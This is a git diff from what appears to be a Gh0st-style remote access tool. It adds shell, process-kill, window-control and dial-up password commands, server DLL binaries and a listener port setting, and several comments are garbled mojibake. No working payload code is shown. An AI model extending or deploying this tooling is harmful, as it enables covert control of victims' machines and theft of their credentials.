#define NC_TRANSMIT 0x0003 //<2F><><EFBFBD><EFBFBD>
#define NC_RECEIVE 0x0004 //<2F><><EFBFBD><EFBFBD>
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
class CLock
@@ -84,7 +84,7 @@ public:
m_ioType = ioType;
}
};
//lang2.1_3
struct ClientContext //<2F>򵥷<EFBFBD><F2B5A5B7><EFBFBD>ClientContext<78><EFBFBD><E1B9B9>Ȼ<EFBFBD><C8BB><EFBFBD>ص<EFBFBD> SendSelectCommand
{

View File

@@ -12,6 +12,8 @@
// 添加要在此处预编译的标头
#include "framework.h"
#include <afxcontrolbars.h>
#include <afxwin.h>
#include <afxwin.h>
#endif //PCH_H

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 359 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 766 B

View File

@@ -17,11 +17,25 @@
#define IDR_MENU3 137
#define IDR_MENU_NOTIFY 137
#define IDD_DIALOG_SETTING 138
#define IDD_SHELL 140
#define IDI_ICON1 142
#define IDI_CMDSHELL 142
#define IDD_SYSTEM 143
#define IDI_SYSTM 146
#define IDI_SYSTEM 146
#define IDR_MENU4 147
#define IDR_PSLIST 147
#define IDR_WINDOW_LIST 148
#define IDC_ONLINE 1000
#define IDC_LIST2 1001
#define IDC_MESSAGE 1001
#define IDC_EDIT_PORT 1002
#define IDC_EDIT_MAX 1003
#define IDC_EDIT 1003
#define IDC_TAB 1004
#define IDC_LIST_WINDOWS 1005
#define IDC_LIST_PROCESS_OR_WINDOW 1006
#define IDC_LIST_PROCESS_OR_WINDOW_OR_WINDOW 1006
#define ID_ONLINE_32771 32771
#define ID_ONLINE_32772 32772
#define ID_ONLINE_32773 32773
@@ -67,14 +81,36 @@
#define IDM_NOTIFY_SHOW 32814
#define IDM_NOTIFY_CLOSE 32815
#define IDM_BUTTON123456 32816
#define ID_PSLIST_32817 32817
#define ID_PSLIST_32818 32818
#define IDM_KILLPROCESS 32819
#define IDM_REFRESHPSLIST 32820
#define ID_WINDOW_32821 32821
#define ID_WINDOW_32822 32822
#define ID_WINDOW_32823 32823
#define ID_WINDOW_32824 32824
#define ID_WINDOW_32825 32825
#define ID_WINDOW_32826 32826
#define ID_WINDOW_32827 32827
#define ID_WINDOW_32828 32828
#define ID_WINDOW_U32829 32829
#define ID_WINDOW_32830 32830
#define ID_WINDOW_32831 32831
#define ID_WINDOW_REFLUSH 32832
#define ID_WINDOW_CLOST 32833
#define ID_WINDOW_HIDE 32834
#define ID_WINDOW_RETURN 32835
#define ID_WINDOW_MAX 32836
#define ID_WINDOW_MIN 32837
#define ID_WINDOW_S 32838
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 140
#define _APS_NEXT_COMMAND_VALUE 32817
#define _APS_NEXT_CONTROL_VALUE 1003
#define _APS_NEXT_RESOURCE_VALUE 149
#define _APS_NEXT_COMMAND_VALUE 32839
#define _APS_NEXT_CONTROL_VALUE 1006
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

View File

@@ -1,3 +1,3 @@
[Settings]
ListenPort=2001
MaxConnection=9999
ListenPort=80
MaxConnection=100

View File

@@ -5,7 +5,7 @@ echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
echo ----------------------------------------------------
pause
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.dll *.exp
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.exp
pause

BIN
bin/QQwry.dat Normal file

Binary file not shown.

BIN
bin/server/CcMainDll.dll Normal file

Binary file not shown.

BIN
bin/server/CcMainDll.id2 Normal file

Binary file not shown.

BIN
bin/server/CcMainDll.lib Normal file

Binary file not shown.

BIN
bin/server/CcMainDll.til Normal file

Binary file not shown.

BIN
bin/server/TestLoadDll.exe Normal file

Binary file not shown.

View File

@@ -1,7 +1,7 @@
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "..\CcMainDll\CcMainDll\pch.h"
#include "Audio.h"
//////////////////////////////////////////////////////////////////////
@@ -143,8 +143,8 @@ bool CAudio::InitializeWaveOut()
if (!waveOutGetNumDevs())
return false;
for (int i = 0; i < 2; i++)
int i = 0;
for (i = 0; i < 2; i++)
memset(m_lpOutAudioData[i], 0, m_nBufferLength);
MMRESULT mmResult;

View File

@@ -60,9 +60,9 @@ public:
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i = 0;
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
for (i = 0; i < MAX_CURSOR_TYPE; i++)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;

View File

@@ -61,6 +61,9 @@ enum
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_WINDOW_CLOSE, // <20>رմ<D8B1><D5B4><EFBFBD>
COMMAND_WINDOW_TEST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>

BIN
ghostAnalyze.emmx Normal file

Binary file not shown.